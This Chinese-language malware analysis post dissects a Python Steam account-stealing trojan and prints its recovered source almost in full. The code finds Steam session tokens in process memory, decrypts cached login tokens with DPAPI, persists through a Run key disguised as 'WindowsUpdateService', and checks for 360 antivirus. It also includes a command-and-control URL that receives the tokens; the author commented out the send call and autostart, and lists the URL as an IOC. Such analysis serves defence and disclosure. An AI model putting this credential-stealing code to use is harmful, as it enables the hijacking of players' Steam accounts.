Python Steam盗号木马
Python Steam盗号木马
样本来源
竟然使用python写盗号,为何不交给AI转成golang、c++?
解包
过程略。
样本采用cx_Freeze打包,解压lib/library.zip,反编译main pyc 即可
pycdc 如果反编译失败就直接使用pycdas解析字节码,交给AI,直接给出python源码.
python 代码
已将360检测、自启动以及数据发送的代码注释
import datetime
import os
import zlib
import win32crypt
# pip install vdf
import vdf
from io import StringIO
import ctypes as utisk
import re
import subprocess as pd
# pip install requests
# import requests as mibfn
# pip install pyjwt
import jwt as rekskd
import time as utui
import sys
import win32com.client as win32com
import pythoncom
import winreg
def is_360_running():
process_names = ['360Safe.exe', '360Tray.exe', '360sd.exe', '360rp.exe', 'QHActiveDefense.exe']
try:
output = pd.check_output('tasklist', shell=True, text=True).lower()
for name in process_names:
if name.lower() in output:
return True
return False
except Exception as e:
return False
def add_to_registry_startup():
if is_360_running():
print('2')
return
try:
exe_path = sys.executable if getattr(sys, 'frozen', False) else os.path.abspath(sys.argv[0])
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, 'WindowsUpdateService', 0, winreg.REG_SZ, exe_path)
winreg.CloseKey(key)
print('1')
except Exception as e:
print('3')
def extract_tokens(value):
return re.findall(r'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', value)
def check_aud(tokens):
for token in tokens:
try:
decoded = rekskd.decode(token, options={'verify_signature': False})
aud = decoded.get('aud', [])
if all(item in aud for item in ('client', 'web', 'renew', 'derive')):
return token
except rekskd.ExpiredSignatureError:
continue
except rekskd.DecodeError:
continue
return None
def scan_memory(pid):
PROCESS_VM_READ = 0x10
process_handle = utisk.windll.kernel32.OpenProcess(PROCESS_VM_READ, False, pid)
if not process_handle:
print('4')
return None
buffer = utisk.create_string_buffer(4096)
found_token = None
for address in range(0, 0x7FFFFFFF, 4096):
try:
bytes_read = utisk.c_size_t()
if utisk.windll.kernel32.ReadProcessMemory(process_handle, address, buffer, utisk.sizeof(buffer), utisk.byref(bytes_read)):
value = buffer.raw.decode('latin-1', errors='ignore')
if 'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0' in value:
tokens = extract_tokens(value)
if tokens:
token = check_aud(tokens)
if token:
found_token = token
break
except Exception:
continue
utisk.windll.kernel32.CloseHandle(process_handle)
return found_token
def get_steam_process_id():
try:
output = pd.check_output('tasklist | findstr steam.exe', shell=True, text=True)
for line in output.splitlines():
if 'steam' in line:
parts = line.split()
if len(parts) >= 2:
return int(parts[1])
return None
except Exception as e:
print('5')
return None
def get_steam_install_path() -> str:
import winreg
key_path = r'Software\Classes\steam\Shell\Open\Command'
try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_READ)
value, _ = winreg.QueryValueEx(key, '')
winreg.CloseKey(key)
return os.path.dirname(value.strip('"'))
except Exception:
return ''
def get_local_appdata_path() -> str:
return os.getenv('LOCALAPPDATA', '')
def compute_crc32(data: str) -> str:
crc32_value = zlib.crc32(data.encode('utf-8'))
return format(crc32_value, '08x').lstrip('0')
def decrypt_data(encrypted_data: bytes, account_name: str) -> bytes:
key = account_name.encode('utf-8')
decrypted = win32crypt.CryptUnprotectData(encrypted_data, key, None, None, 0)
return decrypted[1]
def send_token(steam_id, token, account_name=None):
try:
# url = 'http://101.43.0.123:4531/aer.php'
data = {'id': steam_id, 'th': token}
print(data)
# response = mibfn.post(url, data=data)
if account_name:
print(f"{steam_id} | 1")
else:
print(f"{steam_id} | 1")
except Exception as e:
if account_name:
print(f"{steam_id} | 6")
else:
print(f"{steam_id} | 6")
def main():
pid = get_steam_process_id()
if pid and (token := scan_memory(pid)):
try:
decoded = rekskd.decode(token, options={'verify_signature': False})
steam_id = decoded.get('sub')
send_token(steam_id, token)
except Exception:
print('7')
steam_path = get_steam_install_path()
local_path = get_local_appdata_path()
loginusers_path = os.path.join(steam_path, 'config', 'loginusers.vdf')
local_vdf_path = os.path.join(local_path, 'Steam', 'local.vdf')
try:
with open(loginusers_path, 'r', encoding='utf-8') as file_loginusers:
input_loginusers = file_loginusers.read()
except FileNotFoundError:
print('8')
return
try:
with open(local_vdf_path, 'r', encoding='utf-8') as file_local:
input_local = file_local.read()
except FileNotFoundError:
print('9')
return
loginuser = vdf.loads(input_loginusers)
local = vdf.loads(input_local)
connectcache = local.get('MachineUserConfigStore', {}).get('Software', {}).get('Valve', {}).get('Steam', {}).get('ConnectCache', {})
if not connectcache:
print('10')
return
users = loginuser.get('users', {})
if not users:
print('11')
return
for user_id, subuser in users.items():
account_name = subuser.get('AccountName', '')
if not account_name:
continue
crc32 = compute_crc32(account_name) + '1'
encrypted_hex = connectcache.get(crc32, '')
if not encrypted_hex:
print(f"{user_id} | 12")
continue
encrypted_data = bytes.fromhex(encrypted_hex)
try:
decrypted_data = decrypt_data(encrypted_data, account_name)
token = decrypted_data.decode('utf-8')
decoded = rekskd.decode(token, options={'verify_signature': False})
steam_id = decoded.get('sub')
send_token(steam_id, token, account_name)
except Exception:
print(f"{user_id} | 13")
except Exception:
print(f"{user_id} | 14")
if __name__ == '__main__':
# add_to_registry_startup()
while True:
main()
# utui.sleep(5)
# add to exit
break
print('over')
IOC
http://101.43.0.123:4531/aer.php

浙公网安备 33010602011771号